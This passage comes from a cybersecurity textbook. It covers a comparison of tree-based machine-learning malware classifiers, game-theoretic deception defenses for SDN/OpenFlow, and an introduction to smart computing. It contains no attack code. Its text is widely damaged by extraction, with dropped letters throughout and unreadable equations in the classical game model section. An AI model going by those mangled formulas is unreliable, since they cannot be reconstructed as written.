record or sample from the original data set is permitted in the BD; however, it is preferred 
if the frequency of the same is low. Tere is also a chance that, when records in the BD are 
randomly sample, some of the records from the OD will be absent. Whether it be selection 
of the BD, plotting of the decision tree, or even during node fnalization, when a subset of 
the total variables is taken into consideration, randomization is introduced. When the need 
for classifcation of the test tuple arises, to feed it into the previously constructed various 
decision trees and fnd out the end result of each is an approach that can be adopted. T e 
class allocation may fuctuate or remain the same for diferent trees on the basis of their 
individual decisions. Each tree predicts or votes for a particular class. A f nal decision is 
reached by assigning the class of the test tuple as the one that received the maximum num-
ber of votes. Te employment of several decision tree models and then reliance on their 
collective results ensure a higher accuracy compared to a single decision tree or model. 

Like the AdaBoost classifer, the random forest classifer uses a lot of decision trees as 
learners too. Te model has a tendency to overftting, which can be prevented by using a 
great number of trees. However, this may have a serious impact on the amount of time 
taken by the model to predict. Te random forest classifer is also incapable of aptly deduc-
ing the trend in the data of the data set at times. Te same is due to its very organization, 
in which the adjacent trees infuence a sole tree’s ruling to such an extent that the tree’s 
rulings are neglected. Tis decision that appears to be unimportant might be the single, 
accurate forecast on the input given.  Figure 8.8  shows a tree in the random forest classif er 
ensemble. 

8.6.4 XGBoost 

 Te XGBoost is one of the boosting algorithms introduced most recently, by Tianqi 
Chen and Carlos Guestrin in 2016 [4]. Its applications extend worldwide, and it has been 
described as an end-to-end tree-boosting algorithm. It has several features, such as reg-
ularization, handling of sparse data, weighted quantile sketch, block structure for par-
allel learning, and cache awareness. Regularization is a crucial attribute that aids in the 
prevention of overftting. XGBoost comprises sparsity-aware fnding algorithms to deal 
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FIGURE 8.8 Plot of a tree of the random forest classifer generated af er training. 
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with insufciency patterns in the data. By using the quantile sketch algorithm present in 
XGBoost, the most exciting tree-based model algorithms can fnd the split points when 
the data points are of equal weight. XGBoost can utilize numerous cores in the CPU and 
ensure high-speed calculations, as it has parallel learning through its block structure. It 
also has out-of-core computing, which boosts the accessible disk space and its utilization 
when handling enormous data sets that are unable to ft into memory. 

Its parameters are the following: 

• max_depth: A rise in this number provides complexity to the model and increases 
its tendency to overf t. 

• eta : Tis parameter, in order to make the process of boosting more stable, decreases 
the weights of features. 

• min_child_weight: It is the minimal summation of the instance weight needed in a 
child. It matches the fewest number of instances required in every node. 

• subsample: Fixing its value to 0.5 implies that XGBoost arbitrarily gathers half of the 
instances of data to grow trees. Overftting is prevented. 

• gamma: To make an additional division on a tree’s leaf node, minimal loss reduction 
is a requirement. Te larger the value of gamma, the more conservative the algorithm. 

• early_stopping_rounds: In order to continue to train the model, it is necessary that 
there be an improvement in the validation score. Tis implies that, for every early_ 
stopping_rounds, the validation error must be reduced. 

XGBoost is a decision-tree-based, ensemble, machine learning algorithm. In prediction 
problems involving unstructured data (images, text, etc.), artifcial neural networks tend 
to outperform all other algorithms or frameworks. However, when it comes to small-to-
medium amounts of structured/tabulated data, decision tree–based algorithms are con-
sidered the best-in-class right now. Te XGBoost library implements the gradient-boosting 
decision tree algorithm.  Figure 8.9  shows the decision-making process taken by the 
XGBoost classifer for the given data set. 

8.7 COMPARISON OF THE MODELS 
With a clear understanding of the four models and their characteristics, we will move on 
to a detailed comparison of these models. Te comparison will be made on the basis of the 
performance of the model as a malware classif er. Tis means that accuracy in prediction 
is not the only parameter for comparison. Each of the models will be trained on the pro-
cessed data set and tested using the various testing metrics. However, a model can vary in 
its performance with each training it goes through, even with the same data set. T erefore, 
multiple pieces of training of these models are important for a better comparison. For 
the same reason, the four models will be trained iteratively on 1%, 10%, and 100% of the 
data set (training and testing) and observed. In each iteration, an instance of one learning 
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FIGURE 8.9 T e decision-making process for the XGBoost classif er generated during training. 
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algorithm is defned with certain parameters and is trained on some portion of the data. 
Once trained, the scores of each testing parameter are noted. Tis marks the end of one 
iteration. In the next one, another instance of the same model is trained on a larger por-
tion of the data. Tis process is carried out for all of the models, one at a time. To ease this 
process, a pipeline is devised that takes the model as input and directly displays all of the 
results of each round of training and testing upon completion. 

Once the preceding experimentation has been completed, we review the scores given to 
each model at the various sizes of the data set. Table 8.1  shows the results of the execution 
of the pipeline for training and testing the various models. 

As we saw in Section 8.6, there is a unique logic to each learning algorithm. As a  
result, each model views the data in a diferent manner, i.e., they give varying preferences 
to diferent data features for reaching a certain decision or prediction.  Figure 8.10a–d 
shows each model’s top 15 most important features, as well as the weight given to each 
feature. 

TABLE 8.1 Results of Execution of the Models on 1%, 10%, and 100% of the Data. Followed by a Gross 
Calculation 
  Classifer    Training   Prediction   Training   Testing   Training   Testing 

time (s) time (s) accuracy accuracy  f  score f  score 

1% of data
 Decision tree 0.068 0.1367 1 0.89 1 0.915 
 AdaBoost 0.5537 5.6085 0.98 0.89 0.98 0.89 
 Random forest 0.2839 0.3434 1 0.93 1 0.92 
 XGBoost 0.6273 1.2692 1 0.94 1 0.95 
10% of data

 Decision tree 0.4543 0.1297 1.0 0.94 1.0 0.95 
 AdaBoost 4.1031 6.0091 0.94 0.93 0.95 0.94 
 Random forest 2.1818 0.422 1.0 0.95 1.0 0.95 
 XGBoost 4.5235 1.2555 1.0 0.98 1.0 0.98 
100% of data
 Decision tree 7.5685 0.2253 1.0 0.98 1.0 0.98 
 AdaBoost 42.753 5.9036 0.92 0.95 0.93 0.96 
 Random forest 27.8088 0.6836 1.0 0.97 1.0 0.97 
 XGBoost 44.2846 1.324 0.99 0.99 0.99 0.99 

Gross—Taking a weighted average of each parameter according to data size 

  Classifer    Training   Prediction   Training    Testing    Training     Testing  
time (s) time (s)   accuracy   accuracy  f score f score 

 Decision tree 6.86 0.2159 1 0.9718 1 0.9756 
 AdaBoost 38.8909 5.9104 0.948 0.9421 0.956 0.9332 
 Random forest 25.2521 0.657 1 0.949 1 0.9512 
 XGBoost 40.3092 1.3173 0.9978 0.9678 0.998 0.9723 



       

   
 

(a) 

(b) 

FIGURE 8.10 (a) Feature importance plot for the decision tree classifer. (b) Feature importance plot 
for the AdaBoost classifer. (c) Feature importance plot for the random forest classif er. (d) Feature 
importance plot for the XGBoost classif er. 
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(c) 

(d) 

FIGURE 8.10 (Continued) 
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It can be seen that each tree-based learning algorithm gives higher priority to dif er-
ent data features. Not only are the features diferent, but so are the range of the weights 
given to each feature. T e fgures obtained earlier, along with the tree structure for each 
model drawn for the data set, give a clearer idea of the logic of each algorithm. T e ran-
dom forest classifer, XGBoost classifer, and decision tree classifer consider the features 
DllCharacteristics and Characteristics to be signifcantly important, giving them noticeably 
higher weights. Te AdaBoost classifer, on the other hand, ranks the importance of its fea-
tures as TimeDateStamp > Characteristics > DllCharacteristics. 

Although the models do not have the same order preference for the data features, a 
few of are common to all four of the models’ top 15 preferences. Because multiple models 
are run on the data and repetitive results for each are obtained, we can also draw infer-
ences about which features are truly important by observing the feature importance graph 
and the results table together. Each of the models gives greater than 85% accuracy, imply-
ing that the data features they chose as important must indeed be relevant factors that 
help to decide whether a given fle contains malware. Te data features DllCharacteristics, 
Characteristics, TimeDateStamp, Size, Entropy, and a few dlls are common in all four mod-
els’ top 15 most important data features. Te relevance of the same as important decision 
factors seems undeniable. Te analysis and inferences of the comparison are explained in 
the following section. 

8.8 RESULT ANALYSIS 
 Te decision tree classifer is the simplest of the four classifers in terms of structure. It 
serves as the base estimator for all of the other models in the comparison. Te decision tree 
is undeniably the fastest—in training as well as in prediction. However, the model seems 
to overft the data set, showing better training scores than testing scores. Te model may 
be tuned and optimized in order to create an accurate, quick-to-train malware detection 
system. 

 Te AdaBoost classifer stands in a better position when it comes to ftting the data, 
having less overf tting. Te overall accuracy may have decreased slightly with the increase 
in data size; however, the model gave a better testing accuracy and better  f score at the 
100% data size. However, it takes a lot of time to train this model. If the model is to be used 
in production, it needs time optimization with respect to training more than the optimi-
zation of the model’s parameters. Te random forest classifer follows a somewhat similar 
pattern to the decision tree classifer. However, the classifer as it stands heavily overf ts 
the data, with 100% accuracy and  f score only on the training set. Te model would need 
optimization, should it be used in industry as a malware detection system. T e XGBoost 
classifer uses optimized gradient boosting and is capable of handling missing values to 
prevent overftting. Among the models chosen for comparison, the XGBoost classif er pro-
vides the highest accuracy rates by far, which fulflls one of the essential needs for a mal-
ware detection system. However, this model also takes the largest amount of time to train 
as well as predict on a data set, which may prove to be a disadvantage when time and speed 
are prioritized in an application. 
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8.9 CONCLUSION 
 Tis chapter highlights the need for the implementation of machine learning applications 
in the feld of cyber security to combat malware. A comparative study of four tree-based 
algorithms was conducted. Tis comparison took several parameters into consideration. 
Tis experimentation, which involved repeated training and testing of each model, dis-
plays the capability of the models as malware detectors. Te comparison also gave insight 
into the logic and working of each algorithm in the given use case. We also state what type 
of tuning would be required to make each model deployable in the real world. We conclude 
with the expectation that this chapter would serve as a reference in the building of real-life 
applications using tree-based algorithms in cyber security. 
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9.1 INTRODUCTION 
 Te size of networks and their complexity have increased with rapid IT infrastructure 
developments. Tis challenges the core network’s attributes, for example, clarity, privacy, 
validation, accessibility, and non-denial of information. In recent years, several research-
ers have concentrated on building stronger, more fexible, and safer networks. In contrast 
to the static and distributed environment of conventional networks, a sof ware def ned 
network (SDN) is a step toward creating a dynamic and unifed network [1]. Conventional 
networks are complex and difcult to handle. Te network manager has to use vendor 
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commands to confgure each network system to execute network policies on a high level 
in a conventional, IP-based network, whereas a SDN has several advantages because net-
work control and data planes can be programmed directly and separately [2]. Network 
managers can quickly confgure, control, protect, and optimize system resources via active 
and streamlined SDN programs [3]. SDN also allows the sofware and network services 
to summarize their underlying infrastructure so that a detailed network view can be pro-
vided by controllers through central management, which makes networks smarter. 

SDN emergence and OpenFlow vulnerabilities give the cyber security framework a new 
light, promote more protection mechanisms, and allow for dynamic resilience. T e defend-
er’s role in network attack and defense is notoriously, unfair because a defender is aimed 
at preventing intrusion everywhere; however, only one weakness needs to be identif ed 
and exploited by the attacker to compromise the protection. While several strategies were 
developed to speed up and to detect adverse events to simplify the job of a defender, fewer 
studies have addressed the techniques that can render the attacker’s job inherently harder. 
If security strategies are constantly changed and the true information is masked, cyber 
defense can add greater uncertainty. Tis will also afect the decision-making and lack of 
time and resources of attackers. 

Deception for cyber security has been widely used to parallel common military tactics. 
Te idea has grown in the intrusion detection system (IDS) and intrusion prevention sys-
tem (IPS) directions. Rather than describing a breach of a security strategy to the attacker, 
deception comprises reacting to attackers with some pre-characterized bait activities, 
for example, counterfeit protocol messages, reaction delays, and crafed error messages. 
Rather than blocking an identifed intrusion on the webserver, a deceptive element is used 
that analyzes inbound hypertext transfer protocol requests and advises elusive reactions in 
the case of continuous assault. 

Deception techniques can be recognized from the general moving target defense tech-
nique. For the most part, this comprises the addition of elements or developments to a static 
framework to expand the outstanding opponent task so that the chance of attacks can be 
reduced. For example, standard moving target defense techniques include address space 
layout randomization (ASLR), code obfuscation, and sofware heterogeneity. However, both 
moving target defense strategies and deception may share primary goals. Te best approach 
to accomplish such goals varies, including randomness and diferent looks for direct com-
mitment with the assailant. Finally, deception may also be utilized as a delay strategy, as in 
decoy routing, which uses a decoy terminus to avoid IP address–based network f ltering. 

9.1.1 Motivation 

SDN and security share a tie: SDN has an advantage that allows network operation secu-
rity, but SDN itself does not control the vulnerable packet protocol. As per Cisco’s Annual 
Internet Report (2018–2023) [4], the attacks on DDOS are projected to double to 15.4 
million by 2023 at 15% compound annual growth rate. T e fgures for the energy sector 
are also alarming. For 12 months, 53% of industrial stakeholders reported a cyber-attack 
according to LNS Research [5], and 76% of energy managers have listed business disrup-
tion as their organization’s most impactful cyber loss scenario [6]. Although cyber security 
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research advances quickly, and market players are pursuing the development of new cyber 
security products, rapid cyber risk motivates increased study so that SDN can be made 
safer by defning a defense strategy. 

9.1.2 Organization of Sections

 Te remainder of this chapter is arranged as follows. In Section 9.2, the essential context 
of SDN is presented, as well as the OpenFlow protocol and its vulnerability, the impor-
tance of reviewing game theory, which is essential to developing the deception strategy, 
and community interest in resolving the issue. Cyber games such as the game-theoretical 
model are explored as an emerging technique to determine deception to counter the cyber 
threats arising due to OpenFlow vulnerability. In Section 9.3, related work is highlighted, 
which includes details of the game-based attack detection and mitigation mechanism and 
the methodologies, such as how strategic planning of the attack and detection model can 
be formed through game theory. 

9.2 BACKGROUND 
Innovation and disruptive approaches of the SDN model evolve as prospects for breaking 
the status quo of network ossif cation through the partition of control logic from its core 
network devices [7]. Tis partition is contrary to conventional networks, in which network 
devices are secured, controlled, modifed, and managed proprietarily using a dynamic 
sofware interface. As shown in  Figure 9.1  the design of SDN is separated into three major 
layers: application, control, and data plane. 

FIGURE 9.1 Sof ware-def ned network. 
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•      Te application layer provides management, analysis, and business applications for 
end users. 

• Te control layer comprises controllers that deliver functionality and provide instruc-
tion to the application or data layer. 

• Te infrastructure layer comprises networking tools that regulate the transmission of 
physical and virtual switches for the network. 

Because the communication from the control layer to both the application and infrastruc-
ture layers is done through application program interfaces (API), for example, northbound 
API (application layer) and southbound API (infrastructure layer), these communications 
are being controlled through the communication protocol. OpenFlow stands for a com-
munication protocol between an SDN controller and network devices on the southbound 
interface, which includes switches and routers. Te OpenFlow protocol is mostly used by 
the controller to select the best fow of communication trafc, and the trafc and can be 
managed in a complex and much more granular way as compared to the frmware on hard-
ware devices. As shown in Figure 9.2, the SDN core control sets the data streams centrally, 
and any network fow is frst scrutinized to check whether the network policy permits it or 
permission is required for same. 

9.2.1 OpenFlow 

 Te OpenFlow switches are controlled through fow tables for scanning and forwarding 
packets, which reactively or proactively allow the controller to either add, modify, or delete 
the fow inputs during the process. As part of the switch, each fow table contains inputs 
such as felds and counter values, as well as packet directions. As shown in  Figure 9.3, if the 
packet matches the f ow table f elds, instructions are executed. However, a packet may be 
sent to the controller or dropped if no match is found. 

FIGURE 9.2 OpenFlow protocol. 
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FIGURE 9.3 Flow table. 

9.2.2 OpenFlow Vulnerability 

As highlighted by Timmaraju [8], the OpenFlow handshake mechanism does not require 
controller authentication from the switch, and the controller is not required to approve a 
switch to an operator. Te initial OpenFlow specifcation required a transport layer secu-
rity (TLS) control channel to be secured between controllers and switches. However, TLS 
is optional with the following specifcations up to the latest OpenFlow release (v1.5.1). T e 
TLS has a higher technological barrier due to the measures needed to confgure it correctly, 
for example, sitewide certifcate generation, controller certif cates, certif cate switching, 
sitewide certifcation signing, and correct keys and certifcates in all system installation 
certif cates [9]. 

9.2.3 Attack Categorization in SDN 

Attacks on the SDN control layer have become prominent over time and have been studied 
periodically.  Table 9.1  depicts some of the major advance persistent threat (APT) activities 
and damage that are done during the various stages of the kill chain attack process. 

9.2.4 Suitable Design for the OpenFlow Protocol 

According to Liu [10], the controller must be able to manage several events; as a result, the 
protocol architecture between controllers and victims has at least the following controller 
modules. 

• Initialization Module: To install a basic table-miss fow application, the controller 
must initialize itself on boot-up, and the gateway must have programming capabil-
ity. No data packets can be transmitted between end hosts because the fow table is 
initially empty and incoming packets are redirected to the controller automatically, 
which will then process them according to their content type. 

• Registration Module: A controller must verify that the information it gets is reli-
able; therefore, anyone who shares attack information with the controller must be 
registered. Such systems with strong resources have the capabilities and the ability 
to detect attacks, otherwise a hostile user could deceive the controller by purposely 
sharing false attack data. Other controllers who wish to disclose attack data and are 
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TABLE 9.1 Attack Categorization in SDN 
  Attack type   Altered security 

element  

Forgery of data Reliability 
 Traf  c control Reliability 
Takeover of the controller Accessibility 
 DDOS  Accessibility 
 TLS attacks  Privacy 
IP and address resolution protocol (ARP)  Reliability 
spoof ng
 Spoofng the LLDP Reliability 
 Side-channel attack  Privacy 
Exhaustion of TCAM Accessibility 

  Data plane   Control plane   Southbound interface 
modif cation modif cation modif cation 

willing to share attack information will also gain their networks with the registra-
tion. Messages are sent to the controller via a specifc port, and a list of registered 
systems is maintained; as an acknowledgment message, it also sends a list of required 
parameters, such as the passcode, timestamp, source IP address, and port. T e regis-
tered victim must load the appropriate parameters in a data packet and communicate 
them with the controller when an attack occurs. 

• Attack Information Handling Module: (As shown in  Figure 9.4.) Once the attack 
victim’s messages are received, they are sent to the registered systems to validate the 
transmittal on the registered host. A registered host can easily be verifed by sending 
the assigned passcode to the controller during registration. Te IP address for all con-
trolled, registered hosts is also listed in the IP addresses list. However, it has a chal-
lenge if the host does not confrm when the controller is asked to block an IP address, 
because it is very dif  cult to confrm a reliable host. Te controller has to search for 
certain proof of irregular trafc that is registered. An IP packet having an unknown 
source or destination IP address uses the standard table-miss rule to forward it to the 
controller that is implemented on the gateway, and the controller maintains records 
as to whether there was some previous communication with the reported attack. 

• Te controller verifes the attacks with existing records if the victim reports it in 
order to block the ongoing attack; if not, then the controller discharges the trafc 
temporarily and maintains the track record. On the other hand, the controller 
performs identical checks for the message that is received from the neighboring 
controller. Te neighboring network may not have been targeted from the same 
source to ensure that it does not automatically install the fow input in the f ow 
table, which is programmable and keeps the information about the attacker in its 
databank. 

• Packet Handling Module: ARP and IP are the two diferent types of packets that 
the controller handles. Unknown IP addresses are identifed by their MAC addresses 
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FIGURE 9.4 Attack information message handling. (Courtesy: Ref. [10].) 
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when ARP requests are received. A controller determines which output port corre-
sponds to a packet containing source and destination IP addresses and forwards that 
packet to the respective output port. A programmable gateway is created to enter the 
fow table each time a packet is processed by the controller. Following this, the same 
IP packet can be routed to a diferent destination IP address for its next hop using the 
f ow table. 

9.2.5 Problem Statement 

SDN promises to simplify and scale the supervision and control of the network. In addi-
tion, it also needs to rely on the OpenFlow protocol, which communicates between the con-
trol plane and the data plane. Due to the handshake vulnerability, however, most attacks 
occurred through malicious switches to take advantage of OpenFlow’s internal trust that 
caused denial-of-service attacks and covert communications in the networks. To counter 
this issue, research communities have provided several innovations to address such cyber 
threats, for example, cyber deception, detection systems for intrusion, and information-
sharing networks. 

However, deceptions such as honeypots deployed by organizations have a major draw-
back during their activity to disorient an attacker targeting infrastructure and to per-
suade the attacker not to attack their actual infrastructure but to attack the honeypots. 
Regardless of attacker behavior, honeypots continuously store resources and, hence, a 
large number of honeypots may result in a waste of money, while a limited number 
of honeypots can result in inefective cyber security in the future. Tis practical chal-
lenge is an active research problem for which game theory is suitable to determine which 
honeypots can be dynamically confgured, by giving the defender an optimized defense 
strategy. 

9.3 GAME-BASED CYBER DEFENSE 
Cyber defense is a balancing act of the allocation of fxed resources in the event of an intru-
sion and defense against SDN attacks [11]. A defender, for instance, is expected to ensure 
protection to an organization with a limited budget and limited resources for a collection 
of workstations, networks, and data. To avoid breaches of integrity, confdentiality, or criti-
cal asset availability, priority must be given to certain systems, policies, and general safety 
practices. Game theory is a framework that can maximize this equilibrium. However, it is 
difcult to evaluate an efective defensive strategy when no information is known about 
adversaries, resources, and attack strategies. 

To complement existing defense infrastructure, the use of deception for cyber defense 
can be employed. Deception has been used to deny an attacker access, to confuse or mis-
direct from valuable resources with critical assets, and to show plausible, but incorrect 
details, protocols, and applications and deceptive information [12]. Honeypots are used to 
draw an attacker into a system designed to collect data or to detect an attacker’s presence, 
whereas some devices protect stored credentials through the use of a decoy [13, 14]. A cyber 
game is meant to be a rational game model for the study of when and how to defend com-
puter systems through deception. 
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9.3.1 Genesis of Cyber Game 

 Confict games can be modeled by game theory, decision theory, or cyber game theory. If 
little is known about the opponents, game theory is used for adversary reasoning [15] and 
to investigate the relationship of decision-makers during confict [16]. When analyzing the 
rationale of decision-makers, decision theory is used [17]. Decision theory is better when 
the game has complete information and adversaries are known. Cyber game theory can 
be used to reason subgames played between opponents when one or more opponents play 
various games, of which they are not aware. Cyber game extends the theory of the game 
by using unbalanced models that represent the players’ information or belief dif erences. 
Te unbalanced game approach allows a separate player’s view model, with overlap where 
common knowledge is present. In cyber game, decision theory is used to shape the fear 
of becoming an outcast. In a game model that unbalances the perceptions of the dif erent 
players, it is common for them to worry that they will be ignored. 

 Te game theory study assumes that each game player knows the game. T is concept 
is expanded by cyber game, which allows every player to play a game refecting their own 
viewpoint. It is therefore a set of perceived games that represent the beliefs of each player 
about what takes place [18]. Cyber game in which model’ conficts use deception as a subset 
of players which may not have complete information of the game at a given time [19]. 

9.3.2 Classical Game Model 

A group of players defned by  {a, d} and a fnite, non-empty set of moves are the key ele-
ments of the game model. A player is an entity, person, or group that is expected to opti-
mize the results of its utility in the game. Let  ma ref ect the set of moves that the attacker 
can take, and let  md represent the set of moves sets that a defender takes to achieve their 
respective goals. 

ma ={a1, a2, . . ., aN} ( 9.1 ) 

md ={d1, d2, . . ., dM} ( 9.2 ) 

Note that, as per  Figure 9.5, each player may or may not have the same number of moves. 
Te result of a game is an attacker’s choice of move and a move chosen by the defender. T e 
set of potential utilities, therefore, is 

FIGURE 9.5 Classical game model. 
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a a d ),( aam m a{( , a d, ),a(a ,d )} a d 1 1 1 2 N M  ( 9.3 )

 Tere is an ordered list of expected utilities for both the defender and the attacker called 
utility list  u. Let the attacker’s and defender’s expected lists be 

u =aa a, , a a a, ( 9.4 ) a a1 a2 an m* 

u =aa a , a ( 9.5 ) , a a,d d1 d2 dn m* 

Each element in the preceding equations, that is,  ua or ud, is also in a. Also, the elements
are ordered from most expected to least expected within the preference vector  aai , where 
a a1au,a i is preferred more than a a1. Te following game G is for two players: i i 

• Players: a and d,

• Moves: ma and md,

• Expectations: ua and ud.

 Te following notation is used to represent a game: 

( 9.6 ) 

9.4 RELATED WORK 
Many papers have tried to discuss the mechanisms for attack detection and how to miti-
gate and respond to possible attacks on SDN. Li [20] captured complex state production, an 
epidemic model based on a network that has provided defenders with strategies to prevent 
and recover on the basis of optimal control approaches. Marchetti [21] has analyzed high 
net trafc volumes to disclose weak records of alleged intruder activity and has graded 
them on their degree of suspiciousness. Ghafr [22] managed to develop a system for corre-
lating warnings across several levels, on the basis of machine learning techniques, to allo-
cate all of those warnings to a single attack scenario. Ghafr [23] also developed a parallel 
system to link fundamental warnings to the same attacker campaign to evaluate the most 
likely sequences of attack stages using the hidden Markov model. 

Much of the earlier work focuses on devising the rules for payof and provisions to pro-
mote player behavior [24, 25]. Knowledge of behavioral rewards can be seen as a wide class 
of Bayesian games of persuasion [26], with double-sided, asymmetric information and het-
erogeneous receivers. Te modeling of endogenic proof (i.e., deceiver) [27] or prior belief 
evidence [28, 29] that directly afects the signaling mechanism was performed by param-
etrization and diferentiation of existing types. In Xu’s study [30], each form of recep-
tion system may receive separate signals. Diferent authors proposed a defense-in-depth 
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TABLE 9.2 SDN Defense Based on Attack Graph and Attack Tree 
  Category    Details  

Automated attack analysis A multi-prerequisite graph is built on information about weaknesses and 
accessibility [31] 

Attack cost modeling Time efective network hardening with attack graph is cost-ef  cient [32] 
Attack cost reduction graph and safety issue resolution frame minimize 
solving cost satisfability (SAT) [33] 
 Te critical portion of the graph of the attack is identifed through; SAT cost 
solving, counter example guided abstraction and ref nement [34] 

Scalable attack graph Scalable graph for attack with logical addictions [35] 
Attack graph base risk analysis Divide and conquer approach scalable attack graph for risk evaluation [36] 
Ranking attack graph Asset ranking of attack graphs algorithm for identifcation of attacks [37] 

TABLE 9.3 SDN Defense Based on Moving Target Defense (MTD) and Cyber Game 
  Category    Details  

Diversity MTD performance based on SDN [38] 
DDOS attack MTD based on a dynamic game [39] 
Dynamic MTD using multiple operating system rotation [40] 
Entropy-based MTD and sofware diversity [41] 

 Shufe Probability of an attack is used to guide target movement [42] 
To avoid fngerprint attacks, use the fngerprint hopping method [43] 
Optimal MTD strategy based on Markov game [44] 
 Sof ware-defned stochastic model for MTD [45] 

Redundancy OpenFlow-based random host mutation [46] 
Cyber security based on randomization using a decoy [47] 

approach for detecting and/or preventing an APT attack at several points at each stage and 
at diferent levels of the SDN. 

Because most advanced attacks are regulated and can act strategically by human experts, 
the defender’s reaction should be to adjust to the possible changes in the behavior. Decision 
and game theory are therefore turned into a natural quantitative structure for restrict-
ing the rewards, attacks, and defense-related behavior of attackers. Dijk [48] suggested 
the Flip-It game as a private takeover of the key relations between an attacker and the 
system operator. Many studies have combined Flip-It with other APT security elements, 
such as the cloud service signaling game [49], to model insider threats as an add-on player 
[50] and a system with limited resources of multiple nodes [51]. Dynamic risk manage-
ment mechanisms were created by security game models, such as those by Zhu, Yang, and 
Huang [52–54, respectively], which allow the defender to efectively react and respond. To 
simulate the multistage structure of the APT in particular [52], a series of heterogeneous 
game stages have been created. 

To research proactive and autonomous safety to strengthen cybersecurity, game  
theory has been widely applied [54]. In particular, to research signaling and deception, 



        

 
 

 

 
  

 
  

 

 

   
 

  

    

  

    
 

 
 

 
 

   

132 ◾ Cyber Security Threats and Challenges 

evidence-based signaling games [55, 49], dynamic Bayesian games, Stackelberg security 
games [56], and partially observable stochastic games [57] were adopted. Te focus of these 
incomplete games is to fnd the equilibrium of signals and behavior under a specif c mech-
anism. Incomplete information games are normal structures that model cyber deceptions 
in terms of confusion and misinformation. Pawlick [58] introduced deception strategies, 
including external noise disturbances, secret knowledge disclosure, and honeypot deploy-
ment. Horák [57] also suggested a structure for strategically targeting attackers to deceive 
them without their knowledge against the attack target. As a pseudo honeypot strategy for 
the internet of things network, La [59] used a Bayesian game as a model to mislead attack-
ers and to defend the resources. Early period of Dynamic Bayesian Games in their prelimi-
naries with two-sided partial information, in both adversarial and defensive deceptions, 
have been called a dynamic game in which an attacker hides as a legitimate user through 
unilaterally incomplete knowledge. 

9.5 FUTURE SCOPE 
 Te literature referenced in the previous section mostly talks about deception in game 
theory, which is focused on dynamic or turn-based games in which a player chooses an 
action and reports the result of that action. Tis type of game is called a signaling game, as 
the player may be either honest or deceptive or may choose not to send the signal between 
the players. Most researchers, however, have been inspired to fnd the Nash equilibrium, 
which initially implies that coalitions are absent and every player is acting independently. 
Tis leads to some unanswered questions about cyber games.  

1. What if the game is imbalanced and players are diferent in their opinions, which 
refect the variations in the information and beliefs of each player? 

2. Would the game model outcome depend on how the player looks at the game and 
how the player thinks the opponent is looking at the game? 

3. Can intentional or unintentional deceptions afect or add complexity to the player’s 
preferences, leading to odd choices in real-world situations? 

4. In almost every study, players are rational, but in the real world they are limited by 
time and experience, due to which they need unlimited cognitive ability to decide. 

5. Can the interpretation of a player about the game afect the outcome of the game 
dif erently? 

9.6 CONCLUSION 
In this chapter, we have explored a model of cyber defense by using game theory, in which 
the defender, through engagement with a deception strategy, becomes aware of the attack-
er’s identity, like a honeypot, so that the real payof and result are manipulated. Our study 
covered SDN, cyber security, network deception, and game theory. As we proposed by 
masking the true information, cyber defense can add more complexity to the deception 
strategy. Tis also afects attackers’ decision-making power, wasting their time and ef ort. 
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Te use of deception in cyber defense, therefore, gives the assurance that the network 
attack is going to balance out the asymmetric disadvantage. Te reliability of the strategy 
and the concept of payout have a crucial efect on the actual payof and outcome of the 
game, which directly afect both the attacker’s and the defender’s decision-making ability. 
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10.1 INTRODUCTION 
Computing has progressed over an era. It started with huge mainframe computers with 
centralized processing [1]. Later the progression of distributed computing standardized com-
mercial computing. As the internet began to spread out, the two-tier client-server archi-
tecture of computing transitioned to a three-tier system: the presentation layer (client), the 
application layer (server), and the database server architecture of computing [2]. Finally, 
ideal  n-tier architecture of computing evolved with efcient computing capabilities. T e 
latest add-ons to the technology such as cloud computing, big data, and artif cial intel-
ligence have widened the compass of computing. 

Currently, the progression of computing has reached smart computing, which is capa-
ble of remote data collection, processing, exchange, and analysis [3]. It is probing every-
one’s lives, in every thread: healthcare, consumer use, education, agriculture, f nance, 
transportation, etc. Because of smart computing, our lifestyle has become easier, but 
simultaneously there are several inborn challenges concerning security as today’s world 
adopts new technology [4]. We will review various cyber threats to smart computing, 
such as physical attacks, denial of service attacks, cyber espionage, and destructive  
attacks, and their mitigation techniques [5]. As a result, in the future cyber threats to 
smart computing will be minimized by their mitigation, and smart computing will be 
more ef ective.

 Te chapter is structured as follows: Section 10.2 interprets smart computing; Section 10.3 
explains applications of sof computing; Section 10.4 illustrates a case study on a smart 
computing application; Section 10.5 interprets the internet of things (IoT); Section 10.6 
describes challenges to IoT; Section 10.7 infers cyber-attacks and mitigation techniques; 
and Section 10.8 concludes this chapter. 

10.2 SMART COMPUTING 
In this era of advanced technology, terms such as smart mobiles, smart homes, smart 
watches, smart TV, smart keys, and so on are heard commonly. Te word “smart” here 
means that computing power is added to mobiles, homes, watches, TV, and so on. T ey are 
then connected to the web. 

Smart computing is defned as an advanced era of computing in which hardware, sof -
ware, and network technologies are integrated. As it is connected to the real world via the 
internet, it yields real-time alertness. It also assists individuals in making smart decisions 
regarding various available substitutes and actions in particular situations [1]. 

It simply means that, in the real world, anything can be made smart by connecting it to 
smart computers, which are connected to the real world. 

Smart computing is the new generation of computing. Five A’s are associated with it [1, 6]. 

10.2.1 Awareness 

In smart computing, awareness means that the internet of things is involved and connec-
tivity to the internet. It also involves the transfer of data from the client’s device to a server 
for analysis. 
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10.2.2 Analysis 

In smart computing, analysis means that data are fed to an intelligence tool for analysis. 

10.2.3 Alternatives 

In smart computing, alternatives means that the result of analysis is evaluated for various 
alternatives to make the appropriate decision. 

10.2.4 Actions 

In smart computing, actions means that afer the appropriate decision is made, an action 
is executed either automatically or by human interference. 

10.2.5 Audit 

In smart computing, audit means feedback to guarantee that the action is executed as per 
the specif ed standards. 

Smart computing is mostly supported by novel technologies in which real-time data are 
captured and analyzed at high speeds for the decision-making process. 

10.3 APPLICATIONS OF SMART COMPUTING 
Smart computing has been rolled out in various commercial and non-commercial areas. 
Some of its applications are listed next. 

10.3.1 Business 

Today, organizations are moving toward digital transformation, which is possible due to 
the collaboration of smart computing technologies. Depending on its business scenario, an 
organization decides what smart computing technology to select and when. 

10.3.2 Research 

Research and development are progressing in various emerging smart computing areas. 
Nature-inspired computing (NIC) is one of the new areas emerging in smart computing 
research and development. Te goal of NIC is to study how nature deals with dif  cult prob-
lems and how it succeeds in achieving balance despite all obstacles. Techniques learned 
from nature can then be applied to daily computing models [2]. Quantum computing is 
another developing area of smart computing research and development. Te goal is to 
secure enterprise data hosted on the cloud. It has more computing power to encrypt data 
that cannot be easily decrypted or understood. 

10.3.3 Household Appliances 

Household appliances are smart today. Various smart household appliances include smart 
